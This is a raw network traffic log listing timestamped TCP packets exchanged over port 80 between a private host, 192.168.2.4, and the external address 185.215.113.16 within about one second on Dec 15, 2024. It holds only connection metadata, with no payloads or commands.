Dec 15, 2024 12:00:00.461117029 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.462030888 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.462076902 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.462145090 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.462189913 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.463042974 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.463088989 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.463149071 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.463190079 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.464135885 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.464183092 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.464251041 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.464291096 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.603132010 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.603189945 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.603219032 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.603260994 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.603442907 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.603487968 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.603559017 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.603600979 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.604533911 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.604569912 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.604578018 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.604610920 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.605557919 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.605607986 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.605676889 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.605717897 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.606625080 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.606672049 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.606745958 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.606785059 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.607637882 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.607686043 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.607767105 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.607806921 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.608714104 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.608752012 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.608812094 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.608854055 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.609770060 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.609816074 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.609821081 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.609862089 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.610836029 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.610881090 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.610932112 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.610974073 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.611893892 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.611937046 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.612060070 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.612101078 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.612905025 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.612947941 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.613008022 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.613048077 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.613992929 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.614037037 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.614110947 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.614151955 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.615004063 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.615047932 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.615108967 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.615149975 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.616085052 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.616127014 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.616149902 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.616189957 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.617131948 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.617176056 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.617247105 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.617283106 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.618191957 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.618232965 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.618305922 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.618349075 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.619271040 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.619326115 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.619376898 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.619417906 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.620307922 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.620348930 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.620419979 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.620461941 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.621644020 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.621687889 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.621695042 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.621733904 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.622467041 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.622509956 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.622615099 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.622664928 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.623445034 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.623495102 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.623553038 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.623596907 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.624495029 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.624556065 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.624615908 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.624658108 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.625606060 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.625652075 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.625710011 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.625751972 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.626621008 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.626668930 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.626729965 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.626771927 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.627685070 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.627728939 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.627924919 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.627966881 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.628999949 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.629036903 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.629045963 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.629079103 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.629795074 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.629837990 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.629914045 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.629960060 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.630831003 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.630872011 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.630932093 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.630970001 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.632188082 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.632236958 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.632241011 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.632278919 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.632917881 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.632963896 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.633042097 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.633085012 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.633996010 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.634042978 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.634104967 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.634152889 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.635039091 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.635083914 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.635144949 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.635186911 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.636131048 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.636179924 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.636240959 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.636281013 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.637182951 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.637228012 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.637304068 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.637347937 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.638221979 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.638266087 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.638325930 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.638371944 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.639254093 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.639298916 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.639373064 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.639417887 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.640321016 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.640363932 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.640435934 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.640477896 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.641381979 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.641426086 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.641486883 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.641526937 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.642405987 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.642457008 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.642528057 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.642644882 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.643486977 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.643534899 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.643594980 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.643640995 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.644532919 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.644581079 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.644640923 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.644685030 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.645600080 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.645647049 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.645720959 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.645770073 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.646718025 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.646766901 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.646769047 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.646810055 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.647754908 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.647795916 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.647869110 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.647907972 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.648750067 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.648794889 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.648869038 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.648912907 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.649823904 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.649872065 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.650012016 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.650058031 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.650877953 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.650922060 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.651057005 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.651097059 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.651925087 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.651973963 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.652034044 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.652077913 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.652964115 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.653007984 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.653079987 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.653124094 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.654014111 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.654062033 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.654097080 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.654138088 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.655092001 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.655132055 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.655204058 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.655245066 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.656234026 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.656279087 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.656325102 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.656367064 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.657186031 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.657243967 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.657316923 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.657365084 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.658179045 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.658222914 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.800430059 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.800493002 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.800580978 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.800916910 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.800966024 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.801027060 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.801075935 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.801986933 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.802277088 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.802337885 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.805197001 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.805233002 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.805267096 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.805293083 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.805303097 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.805306911 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.805346966 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.805535078 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.805583000 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.805710077 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.805753946 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.806714058 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.806765079 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.806860924 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.806896925 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.807245016 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.807317972 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.807344913 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.807391882 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.808303118 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.808346987 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.808492899 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.808536053 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.809356928 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.809492111 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.809539080 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.810412884 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.810462952 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.810524940 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.810568094 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.811453104 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.811496973 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.811616898 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.811664104 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.812573910 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.812618017 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.812747955 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.812793016 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.813570976 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.813620090 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.813679934 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.813724041 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.814625978 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.814671040 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.814744949 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.814791918 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.815670013 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.815717936 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.815777063 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.815821886 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.816729069 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.816852093 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.816900015 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.817786932 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.817831993 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.817840099 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.817881107 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.818849087 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.818897963 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.818969965 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.819010973 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.819907904 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.820072889 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.820118904 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.820952892 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.821001053 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.821062088 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.821104050 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.821985006 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.822029114 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.822103977 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.822146893 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.823060036 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.823105097 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.823179007 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.823215961 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.824095011 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.824147940 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.824223995 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.824265957 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.825160027 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.825207949 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.825287104 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.825329065 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.826271057 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.826456070 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.826503038 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.827279091 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.827366114 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.827416897 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.827549934 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.828337908 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.828391075 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.828515053 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.828556061 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.829399109 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.829536915 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.829583883 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.830445051 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.830488920 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.830590963 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.830634117 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.831480980 CET	80	49876	185.215.113.16	192.168.2.4
